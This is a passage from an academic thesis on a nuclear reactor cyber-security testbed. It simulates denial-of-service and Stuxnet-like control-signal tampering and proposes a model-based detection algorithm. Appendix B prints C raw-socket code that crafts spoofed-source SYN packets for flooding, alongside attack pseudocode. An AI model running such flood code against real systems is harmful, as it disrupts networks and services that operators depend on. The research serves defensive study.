core into a control room display (represented by the client).  The nuclear reactor 
simulator server side also accepts control commands from the client side, e.g., command 
to move a control rod by a certain amount. The server side of the nuclear reactor 
simulator continuously solves the set of differential equations. Hence, the impact of any 
client side instructions on state variables are instantly simulated and propagated back to 
the connected client. The ability to accept control commands from the client over the 
communication network allows us to study the effects of various network attacks on the 
control actions. In addition to that, the nuclear reactor server provides the simulated data 
to the client also over a TCP/IP network using a custom networking protocol. The data 
from the server includes information about the reactor power, temperature level and 
precursor concentration as a function of time. 
The nuclear reactor simulator server performs two functions which, when 
combined, allow it to serve as a surrogate for the real nuclear power plant when 
performing experiments. The server simulates the nuclear power plant with a feature-rich 
mathematical model solver. This allows us to simulate systems with a high degree of 
modeling accuracy by taking advantage of the advanced modeling facilities built into the 
LabVIEW software. In addition to that, the server provides the SCADA data that would 
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typically be fed into a control center display (represented by the client). The server 
provides the simulated data to the client over a TCP/IP network using a custom 
networking protocol. 
The server side continuously listens for incoming control signals from the client 
side. The TCP listen command requires a port number in order to keep listening for any 
incoming signals. Once the server side receives a command, TCP read will read the value 
of the control signal and use it as input in the solution. When the sever side finds the 
result, it writes it back through TCP write to the client side in order to display the 
continuously updated solution.  Figure 4.11 illustrates the pipeline in the server side 
protocol that uses the control data to generate the state data. 
 
Figure 4.11 Server side TCP 
 
Figure 4.12 shows the implementation of the server side. The LabVIEW code in 
the server side solves the set of differential equations using a simple Euler scheme.  The 
implementation intends to be flexible which allows the user to run the simulator using 
different time steps. 
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Figure 4.12 Server Side  
 
The program setting tab on the server side allows the operator to set the time step ℎ  which is used to replace the derivative with a finite difference scheme in the equation: 
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𝑓! 𝑎 ≃ 𝑓 𝑎 + ℎ − 𝑓 𝑎ℎ                                                                                                                   (6)   
The default value for  ℎ = 0.001. Figure 4.13 shows the program setting tab on 
the server side.   
 
Figure 4.13 Server side – program setting tab 
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The parameters tab shows the default value for the parameters of the 
mathematical model. The server side has been developed to be flexible and allow the user 
to change the values of these parameters. Figure 4.14 shows the parameter tab of the 
server side. 
 
Figure 4.14 Server side – parameters tab 
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Initial conditions must also be specified in order to solve the mathematical model (see 
section 4.1.1). The initial conditions tab as shown in Figure 4.15 allows the operator to 
set the value of the initial condition.      
 
Figure 4.15 Server side – initial condition tab 
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4.1.2. Client–Server Protocol 
The protocol used for communication between the client and server sides is a 
simple request/response which uses the TCP/IP networking protocol. All network 
communication is initiated by the client, which can either send or receive an arbitrary 
amount of data in a single session. 
 
4.1.3. Wide Area Network 
A large scale network is the backbone for the testbed, and is considered to be the 
infrastructure for network transactions, attacks, and defenses. The network provides the 
simulation with real time traffic and network routing.              
 
4.2. Cyber Attacks Scenarios 
Details of the two cyber attack scenarios—denial of service and zero day attack 
simulated in this work are described below. 
 
4.2.1. Denial of Service 
A Denial-of-Service attack (DoS) is an attempt to make a computer resource 
unavailable to its intended users. In a denial-of-service attack, an attacker attempts to 
prevent legitimate users from accessing information or services, by targeting the 
computer systems and its network connections. 
       
43 
 
The most common and obvious type of DoS attack occurs when an attacker 
"floods" a network with information or information requests. The server can only process 
a certain number of requests at once, so if an attacker overloads the server with requests, 
the server will fail to process a legitimate request. This is a "denial of service" because 
legitimate users cannot access that service.  
The packet types used for packet flooding attacks have varied over time, but for 
the most part, several common packet types are still used by many DoS attack tools. In 
TCP-floods a stream of TCP packets with various flags set are sent to the victim IP 
address. The SYN, ACK, and RST flags are commonly used.  
Since the network attack hinders the operator’s ability to receive data and issue 
commands, it greatly compromises the operator’s work. Under normal circumstances, the 
operator has the ability to increase and decrease the power level of the nuclear reactor.  In 
the case of a network attack, the operators are ignorant of any problem and may have no 
ability to respond. The situation will escalate if a protection equipment forces the power 
level to increase unintentionally.   
 The simulation of DoS attack implemented while TCP/IP used as communication 
protocol. In order to fully analyze the attack scenarios, it is important to understand the 
actions of the TCP/IP system. TCP/IP is a three-way-handshake done to establish a 
connection between a client and a server. The process starts when a client sends a SYN 
packet to a server, followed by the server sending back a SYN/ACK packet, which is then 
acknowledged by the client by sending an ACK packet back to establish the connection 
between the source and destination.  The Denial of Service scenario attack starts in the 
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network while the network is operating normally.  The attacker launches the cyber attack 
on the network by flooding the network with SYN packets, which involves sending too 
many SYN packets with a bad or random source IP address to the destination server.  
These SYN requests get queued up on the server’s buffer and use up the resources and 
memory of the server. This can lead to a crash or hang up of the server machine. After 
sending the SYN packet, the connection is half-open and it takes up resources on the 
server machine.  If an attacker sends SYS packets faster than memory is being freed up on 
the server then an overflow situation can occur. Since the server’s resources are used up, 
the response to legitimate users is slowed down resulting in Denial of Service. The 
pseudo code below describes the DoS attack. 
[1] Create TCP Socket 
[2] Create TCP Header 
[3] Create IP Header 
[4] Fill in the Headers 
[5] Spoof The Source IP Address 
[6] Create Packet  
[7] While (true) 
a. Send the packet 
b. Check Send  
The simulation of DoS attack starts while the reactor simulator is running 
normally on the server side. The DoS attack is then launched.  We measured the packet 
drop rate on the server side. When the DoS attack is launched the rate of the dropped 
packet, due to fact that the server cannot process all the incoming requests, increases. 
Figure 4.16 shows the packets drop rate as function of time for two cases: when the 
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simulator is running normally with background noise in the network, and when a DoS 
attack is on.  
In the first scenario, the system is not incorporated with any DoS attack, allowing 
the system to run under normal conditions, in the presence of some transactions and 
background traffic. The goal of this scenario is to study the interaction between the 
nuclear reactor server side and the client side under normal operating conditions of the 
network. In the second scenario, the system was allowed to run normally for about 30 
seconds and then a DoS attack was launched at t = 30s. The Figure shows the result of 
simulation for the first 100 seconds.  This experiment shows the effect of the DoS attack 
on the nuclear power plant that uses a public network for communication.  
 
 
Figure 4.16 Packet drop rate due to Denial of Service (DoS) attack 
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The scenario described above has been run and the effect of a DoS attack on an 
integrated control room and nuclear power plant has been studied. When there is no 
attack occurring, the operator(s) at the client side see the correct real time data that reflect 
the state of the nuclear reactor at the appropriate rate. The operators also have the ability 
to increase and decrease the power level and other crucial settings. If an attack is in 
progress, the SCADA data and commands are prevented from being transferred from the 
client side to the server side. The DoS attack floods the network with packets, causing the 
real time data to be delayed or lost. When an attack is under way, the client side 
continues to display old data indicating that the system is operating safely even though 
the control system has been altered for the worse.  
4.2.2. Zero-day attack  
 The cyber threat in a zero-day attack targets the SCADA system and maliciously 
reprograms the SCADA devices. The implementation of these scenarios will modify the 
control signal at the client side. 
There have been many attacks targeted at SCADA systems [12, 22]; however, no 
other attack has demonstrated the extreme threats that control systems are subject to quite 
as well as the Stuxnet worm [27]. Stuxnet has made clear that there are groups with the 
motivation and skills to mount sophisticated computer-based attacks to critical 
infrastructures. Stuxnet intercepts routines to read, write and locate blocks on a 
Programmable Logic Controller (PLC). By intercepting these requests, Stuxnet is able to 
modify the data sent to or returned from the PLC without the operator of the PLC ever 
realizing it. Stuxnet was discovered on systems in Iran in June 2010 by researchers from 
Belarus. However, it is believed to have been released more than a year before it was 
       
47 
 
detected. Stuxnet is a worm that spreads by infecting Windows computers. In September 
2011 the laboratory of Cryptography and System Security discover Duqu malware which 
is a variety of software components that together provide services to the attackers. 
Currently this includes information stealing capabilities and in the background, kernel 
drivers and injection tools which is used by Stuxnet. 
The ultimate goal of zero-day attack is to sabotage the target facility by 
reprogramming the controllers to operate, most likely, out of their specified boundaries. 
This means, if the operator sends a command such as to increase or decrease the power 
level, turn on or off the coolant system in the reactor core, etc. The system should 
normally operate according to the operator’s command. However, under a zero-day 
attack, the operator’s command will get modified and will likely force the system to 
move in a direction opposite to that given by the operator, or to generate excessive values 
compared with the intended ones.   
To simulate this attack in the testbed developed here, a modification to the 
simulator has been added in order to accommodate the instruction reprogramming 
process. When the client sends a control signal to the server side over the communication 
network, it actually writes the value of the control signal into a text file on the server side. 
Subsequently, the LabVIEW code on the server side reads the control signal value from 
the text file and uses it as input in the simulation. When a zero-day attack is launched, the 
attacking code (worm) modifies the value of the control signal, causing the system to act 
in an unexpected manner.  The pseudo code that describes the zero-day attack is: 
[1] Read the control signals before it get to 
the server side 
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[2] Check the control signals 
[3] Modify the control signals 
[4] Server Side read the modified control 
signals 
[5] Use the Modified control signals as input 
to the solution 
The cyber threat has been developed using C# to simulate the effects of the 
Stuxnet worm. The cyber threat runs in the background and changes the control signal 
form the client side to the server side. The scenario starts while the reactor simulator is 
running normally. The operator decides to increase the power level, and sends a reactivity 
value of 0.001 (k of 1.001) to the server side. Before any cyber attack, the simulator 
responds normally to this value, as shown in Fig. 4.16. When a hacker launches a cyber 
attack on the simulator, the attack changes the control signal value. As a result of this 
attack, the k value that reaches the reactor is different than what was sent from the control 
room. As a result, the reactor behaves erratically, and its behavior does not match the 
behavior expected from the control signal that was sent form the client initially. 
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Figure 4.17 Cyber Attack to simulate Stuxnet worm attack modifying the reactivity value 
 
 
Figure 4.18 Cyber threat that simulates Stuxnet worm  
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CHAPTER 5 
ATTACKS DETECTION  
 
In this chapter we discuss the proposed algorithm for attack detection, followed 
by some examples to show the capabilities of the algorithm to detect the attacks 
simulated in the previous chapter.  
While the attackers may be able to hide the specific technology used to exploit the 
system and reprogram the SCADA system, they cannot hide their final goal; which is to 
cause an adverse effect on the physical system, evidenced by a departure from the 
expected behavior of the system. These effects are created by sending malicious sensor or 
controller data that would in general not match the behavior expected by a supervisory 
control or an anomaly detection system. Therefore, in this chapter we explore security 
mechanisms that detect attacks by monitoring the physical system under control, and the 
sensor and actuator values. 
5.1. Detection Algorithm 
An attack-detection algorithm has been developed. It is based on monitoring the 
behavior of the physical system under control. Using this algorithm, one can detect a 
wide range of attacks.  The work closest to the approach followed here is the study of 
false data injection attacks in control systems [7, 8] and the intrusion detection models of 
Rrushi and Campbell [7].  This last work, however, does not consider dynamical models 
of the process control system. Further research work is needed on dynamical system 
models used in control theory as a tool for specification-based intrusion detection 
systems. 
       
51 
 
Detecting attacks on control systems can be formulated as an anomaly-based 
intrusion detection problem [7, 8]. One major difference in attacks on control systems 
compared to traditional cyber-attacks on IT systems is that instead of creating models of 
network traffic or software behavior, we can use a representative model of the physical 
system. 
The idea behind this approach to detect an attack is the following way: by 
continuously comparing the state variable signals of the actual physical system 𝑦 𝑘  with 
the corresponding signals 𝑦~ 𝑘   from a simulated model of the system. In response to a 
control input sequence  𝑢 𝑘 , both the actual system as well as the results of the simulated 
model will evolve. By comparing the two signals, one can predict if the control signal 
sent to the physical system has been altered. Depending on the quality of our estimate 𝑦~ 𝑘  we may have some false alarms. This scenario also assumes that the control signal 
transmission to the simulator is secure and cannot be tampered.  Figure 5.1 shows the 
schematic diagram of the physical system which takes  𝑢 𝑘  as an input signal and 
generates 𝑦 𝑘  as an output signal. 
 
 
 
 
 
Physical System 𝑢(𝑘) 𝑦(𝑘) 
Figure 5.1 Block diagram of the physical system   
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The flow chart below illustrates the detection algorithm which compares the 
output of the physical system with the expected value from the mathematical model. In 
the absence of an actual physical system (for example, an NPP), a mathematical model is 
used to replace the physical system as well. The mathematical model, as discussed in 
Chapter 4, was used to model the physical behavior of the nuclear reactor. Hence, in this 
work, the physical system as well as its simulator are modeled by the same mathematical 
model. While operator input going to the simulator will be always un-tampered, the 
operator input to the model representing the physical system under a cyber attack can be 
tampered.  
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The difference between the 
mathematical and physical   
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5.2. Case Study 
The implementation for the detection algorithm is based on the comparison of the 
results from the simulator that represents the actual (physical) reactor over TCP/IP; and 
the second nuclear reactor simulator that is run locally. Both simulators write the output 
into a text file, and the detection algorithm compares the output. If the difference between 
the results from these two models is greater than a pre-specified value ε, the detection 
Figure 5.2 Flow chart for the detection algorithm 
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algorithm activates an alarm to represent a potential cyber attack on the physical system. 
Figure 5.3 shows the result of a typical simulation without cyber attack on the nuclear 
reactor simulator. The Figure shows the excess power level as a function of time. Data in 
this Figure show that the data collected from the sensors placed in the power plant, match 
the data from the mathematical model, indicating the absence of any cyber attack. 
 
Figure 5.3 Signals from the plant and the simulator in the case of no cyber attack.  
 
Figure 5.4 shows the results of the cyber-attack detection software in the case of a 
cyber attack on the nuclear control room. Up to a certain point of time (t ~ 39 s), the two 
values match exactly.  Then, as a result of the cyber attack, the difference between the 
values coming from the power plant and those from the simulator becomes greater than ε. 
This leads to an alarm, warning the operator of this discrepancy. The left panel in Figure 
5.5 shows the window with the flashing red alarm band at the bottom.  
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Figure 5.4 Signals from the plant and the simulator in the case of a cyber attack initiated at t ~ 39 s.  
 
 
Figure 5.5 Simulator showing the red alert warning due to a potential cyber attack 
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5.3. Results 
 
In our experiments we found several interesting results.  
(1) Protecting against integrity attacks is more important than protecting against 
DoS attacks. This is obvious, since DoS attacks announce themselves, whereas integrity 
attack do not. 
 
(2) The physics of nuclear reactor is fairly well-behaved, in the sense that even 
under perturbations; the response of the system follows the mathematical models very 
closely. Of course, this is probably true for the very stable conditions under which a 
reactor is usually run at steady sate. In addition, the slow dynamics of this process allows 
us to be able to detect attacks with the benefit of not raising any false alarms due to the 
accuracy of the mathematical models of the system. 
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CHAPTER 6 
SUMMARY, CONCLUSIONS AND FUTURE 
WORK   
    
6.1.  Summary and Conclusion  
 
In this work, a testbed simulating the reactor core as well as the control room—both 
linked by an internet connection—has been developed.  The testbed has been used to 
simulate different kinds of cyber attacks. These numerical experiments demonstrated the 
vulnerability of the communication network to a denial-of-service (DoS) attack and the 
ability to detect the cyber attack. The simulated attacks prevented data from being 
transmitted across the network, causing the monitors in the control room to display 
incorrect data. Finally, with the aid of a simulator that represented the nuclear reactor, a 
detection algorithm was developed to detect the cyber attack based on the behavior of the 
nuclear reactor during the operation and a mathematical model (or a simulator) that 
represents the nuclear reactor.  
Even though we have focused on the analysis of a nuclear reactor system, the 
developed principles and techniques can be applied to other physical processes and many 
critical infrastructure applications.  
Based on the experience with the development of this testbed and the limited number 
of simulations, some preliminary conclusions can be drawn. It is clear that the testbed 
developed here, though fairly basic in design, can be used to test cyber attack scenarios 
relevant to nuclear power applications. Based on the cyber attack simulations carried out 
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in this work, it can be concluded that as the number of packets sent during a denial-of-
service attacks is increased above a threshold, the server receiving the packets becomes 
saturated; i.e., its overflows due to the large number of arriving packets. This event forces 
the system to drop the packets which might include control data from the SCADA system 
to the NPP. For instance, in the zero day attack, it is clearly demonstrated how the hacker 
can violate the integrity of the control data between the SCADA and NPP and manipulate 
the operations of the system.  
By incorporating a physical model of the system, we were able to detect cyber attacks 
on the physical system. Thus, ideas and work presented here will form the basis of future 
research on cyber security of nuclear power plants. This work will help in the design of 
attack resilient control structures and algorithms.  
6.2. Future Work  
This work identifies a research area that is in need of significant amount of 
attention and resources. It has laid the foundation by developing a testbed that includes 
the essential components necessary to simulate cyber attacks.  
The testbed itself can be improved significantly. For example, a more accurate 
model of the nuclear reactor and the SCADA system can be developed and incorporated 
in the testbed. The extension can incorporate, for example, an electromechanically driven 
control rod to represent a part of the reactor that is controlled from the control room. It 
can then be incorporated into the simulations using different protocols and protocol 
converters to interface with the software.  Also, it is worth extending the functionality of 
the client side (by adding additional commands). In its extended form, the testbed will 
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consist of computer simulations, hardware representing a reactor, and people acting as 
operators. 
A much more extensive set of cyber attack scenarios also need to be simulated in 
order to gather sufficient statistics for different kinds of attacks.   
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APPENDIX A 
	  
LabVIEW Code  
	  
	  
The code below shows the implementation of the nuclear reactor simulator which consists of two 
parts: a client and a server. The code is developed in LabVIEW that allows the developer to use 
Graphical User Interface (GUI) for programming.   
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APPENDIX B 
	  
C++ Code  
The code below shows the implementation for the Denial of Service (DoS) attack. The 
code generates TCP /IP packets and random IP addresses. It sends the packets to the 
victim’s server. In order to run the code the user should have the Linux operating system 
with a C++ compiler.   
	  
#include<stdio.h>	  
#include<netinet/tcp.h>   //Provides declarations for tcp header	  
#include<netinet/ip.h>    //Provides declarations for ip header	  
	  	   	  
typedef	  struct	  pseudo_header    //needed for checksum calculation	  
{ 	  
    unsigned int	  source_address;	  
    unsigned int	  dest_address;	  
    unsigned char	  placeholder;	  
    unsigned char	  protocol;	  
    unsigned short	  tcp_length;	  
    //char tcp[28];	  
    struct	  tcphdr tcp;	  
}; 	  
	  	  
unsigned short	  csum(unsigned short	  *ptr,int	  nbytes) {	  
    register	  long	  sum;	  
    unsigned short	  oddbyte;	  
    register	  short	  answer;	  
	  	  
    sum=0;	  
    while(nbytes>1) {	  
        sum+=*ptr++;	  
        nbytes-=2;	  
    }	  
    if(nbytes==1) {	  
        oddbyte=0;	  
        *((u_char*)&oddbyte)=*(u_char*)ptr;	  
        sum+=oddbyte;	  
    }	  
	  	  
    sum = (sum>>16)+(sum & 0xffff);	  
    sum = sum + (sum>>16);	  
    answer=(short)~sum;	  
	  	  
    return(answer);	  
}	  
	  	  
int	  main (void)	  
{	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    //Create a raw socket	  
    int	  s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	  
    //Datagram to represent the packet	  
    char	  datagram[4096];	  
    //IP header	  
    struct	  iphdr *iph = (struct	  iphdr *) datagram;	  
    //TCP header	  
    struct	  tcphdr *tcph = (struct	  tcphdr *) (datagram + sizeof	  (struct	  
ip));	  
    struct	  sockaddr_in sin;	  
    struct	  pseudo_header psh;	  
	  	  
    sin.sin_family = AF_INET;	  
    sin.sin_port = htons(80);	  
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");	  
	  	  
    memset	  (datagram, 0, 4096); /* zero out the buffer */	  
	  	  
    //Fill in the IP Header	  
    iph->ihl = 5;	  
    iph->version = 4;	  
    iph->tos = 0;	  
    iph->tot_len = sizeof	  (struct	  ip) + sizeof	  (struct	  tcphdr);	  
    iph->id = htonl (54321); //Id of this packet	  
    iph->frag_off = 0;	  
    iph->ttl = 255;	  
    iph->protocol = IPPROTO_TCP;	  
    iph->check = 0;      //Set to 0 before calculating checksum	  
    iph->saddr = inet_addr ("192.168.1.2");  //Spoof the source ip 
address	  
    iph->daddr = sin.sin_addr.s_addr;	  
	  	  
    iph->check = csum ((unsigned short	  *) datagram, iph->tot_len >> 1);	  
	  	  
    //TCP Header	  
    tcph->source = htons (1234);	  
    tcph->dest = htons (80);	  
    tcph->seq = 0;	  
    tcph->ack_seq = 0;	  
    tcph->doff = 5;      /* first and only tcp segment */	  
    tcph->fin=0;	  
    tcph->syn=1;	  
    tcph->rst=0;	  
    tcph->psh=0;	  
    tcph->ack=0;	  
    tcph->urg=0;	  
    tcph->window = htons (5840); /* maximum allowed window size */	  
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP 
stack	  
                should fill in the correct checksum during transmission 
*/	  
    tcph->urg_ptr = 0;	  
    //Now the IP checksum	  
	  	  
    psh.source_address = inet_addr("192.168.1.2");	  
    psh.dest_address = sin.sin_addr.s_addr;	  
    psh.placeholder = 0;	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    psh.protocol = IPPROTO_TCP;	  
    psh.tcp_length = htons(20);	  
	  	  
    memcpy(&psh.tcp , tcph , sizeof	  (struct	  tcphdr));	  
	  	  
    tcph->check = csum( (unsigned short*) &psh , sizeof	  (struct	  
pseudo_header));	  
	  	  
    //IP_HDRINCL to tell the kernel that headers are included in the 
packet	  
    {	  
        int	  one = 1;	  
        const	  int	  *val = &one;	  
        if	  (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof	  (one)) < 
0)	  
            printf	  ("Warning: Cannot set HDRINCL!n");	  
    }	  
	  	  
    //while (1)	  
    //{	  
        //Send the packet	  
        if	  (sendto (s,      /* our socket */	  
                    datagram,   /* the buffer containing headers and 
data */	  
                    iph->tot_len,    /* total length of our datagram */	  
                    0,      /* routing flags, normally always 0 */	  
                    (struct	  sockaddr *) &sin,   /* socket addr, just 
like in */	  
                    sizeof	  (sin)) < 0)       /* a normal send() */	  
	  	  
            printf	  ("errorn");	  
        //Data send successfully	  
        else	  
            printf	  (".");	  
    //}	  
	  	  
    return	  0;	  
}	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APPENDIX C 
	  
C# Code  
 
The C# code below is to simulate the Stuxnet-like attack and the corresponding detection 
algorithm. In order to run this code the user should have Microsoft visual studio 2010.   
	   	  
	  
	  
using	  System;	  
using	  System.Collections.Generic;	  
using	  System.Linq;	  
using	  System.Text;	  
using	  System.IO;	  
	  
namespace	  StuxnetConsoleApplication	  	  	  	  	  	  	  	  	  	  	  	  	  
{	  
	  	  	  	  class	  Program	  
	  	  	  	  {	  
	  	  	  	  	  	  	  	  static	  void	  Main(string[]	  args)	  
	  	  	  	  	  	  	  	  {	  
	  	  	  	  	  	  	  	  	  	  	  	  Console.WriteLine("STUXnet	  virus	  is	  running");	  
	  	  	  	  	  	  	  	  	  	  	  	  try	  {	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  string	  mystr	  =	  Console.ReadLine();	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  string	  path=@"c:\Users\Laith\Desktop\StuxNet\comm.txt";	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  using	  (FileStream	  stream	  =new	  
FileStream(@"c:\Users\Laith\Desktop\StuxNet\comm.txt",FileMode.Open))	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  using	  (TextWriter	  writer	  =	  new	  StreamWriter(stream))	  {	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  writer.WriteLine("");	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  using	  (StreamWriter	  StrWriter	  =	  new	  StreamWriter(path))	  {	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  StrWriter.WriteLine(mystr);	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.ReadLine();	  
	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  	  	  	  	  	  	  	  	  	  	  	  	  
	  	  	  	  	  	  	  	  	  	  	  	  catch(Exception	  e)	  	  {	  	  
	  	  	  	  	  	  	  	  	  	  	  	  	  
	  	  	  	  	  	  	  	  	  	  	  	  	  
	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  	  	  	  	  	  	  	  }	  
	  	  	  	  }	  
}	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using	  System;	  
using	  System.Collections.Generic;	  
using	  System.Linq;	  
using	  System.Text;	  
using	  System.IO;	  
	  
namespace	  AttackDetectionConsoleApplication	  
{	  
	  	  	  	  class	  Program	  
	  	  	  	  {	  
	  	  	  	  	  	  	  	  static	  void	  Main(string[]	  args)	  
	  	  	  	  	  	  	  	  {	  
	  
	  	  	  	  	  	  	  	  	  	  	  	  Console.WriteLine("Enter	  the	  value	  of	  epsilon");	  	  
	  	  	  	  	  	  	  	  	  	  	  	  double	  epsilon	  =	  Convert.ToDouble(Console.ReadLine());	  	  
	  	  	  	  	  	  	  	  	  	  	  	  string	  path1	  =	  @"C:\Users\Laith\Desktop\text1.txt";	  
	  	  	  	  	  	  	  	  	  	  	  	  string	  path2	  =	  @"C:\Users\Laith\Desktop\text2.txt";	  
	  	  	  	  	  	  	  	  	  	  	  	  string	  line1;	  
	  	  	  	  	  	  	  	  	  	  	  	  string	  line2;	  
	  	  	  	  	  	  	  	  	  	  	  	  StreamReader	  reader1	  =	  new	  StreamReader(path1);	  
	  	  	  	  	  	  	  	  	  	  	  	  StreamReader	  reader2	  =	  new	  StreamReader(path2);	  
	  
	  	  	  	  	  	  	  	  	  	  	  	  Console.WriteLine("Physical	  Data\tMathmateical	  Data\tDifference");	  
	  	  	  	  	  	  	  	  	  	  	  	  while	  ((line1	  =	  reader1.ReadLine())	  !=	  null	  &&	  (line2	  =	  
reader2.ReadLine())	  !=	  null)	  
	  	  	  	  	  	  	  	  	  	  	  	  {	  
	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.Write(line2);	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.Write("\t");	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.Write(line1);	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  double	  Diff	  =	  Math.Abs(Convert.ToDouble(line1)	  -­‐	  
Convert.ToDouble(line2));	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.Write("\t\t");	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.Write(Diff.ToString());	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  Console.Write("\n");	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  if	  (Diff	  >	  epsilon)	  {	  
	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  string	  mystr	  =	  "1";	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  string	  path	  =	  @"c:\Users\Laith\Desktop\alert.txt";	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  using	  (FileStream	  stream	  =	  new	  
FileStream(@"c:\Users\Laith\Desktop\alert.txt",	  FileMode.Open))	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  using	  (TextWriter	  writer	  =	  new	  StreamWriter(stream))	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  {	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  writer.WriteLine("");	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  using	  (StreamWriter	  StrWriter	  =	  new	  StreamWriter(path))	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  {	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  StrWriter.WriteLine(mystr);	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  }	  
	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  //Console.ReadLine();	  
	  	  	  	  	  	  	  	  	  	  	  	  }	  	  
	  	  	  	  	  	  	  	  	  	  	  	  Console.ReadLine();	  
	  	  	  	  	  	  	  	  }	  
	  	  	  	  }	  
}	  
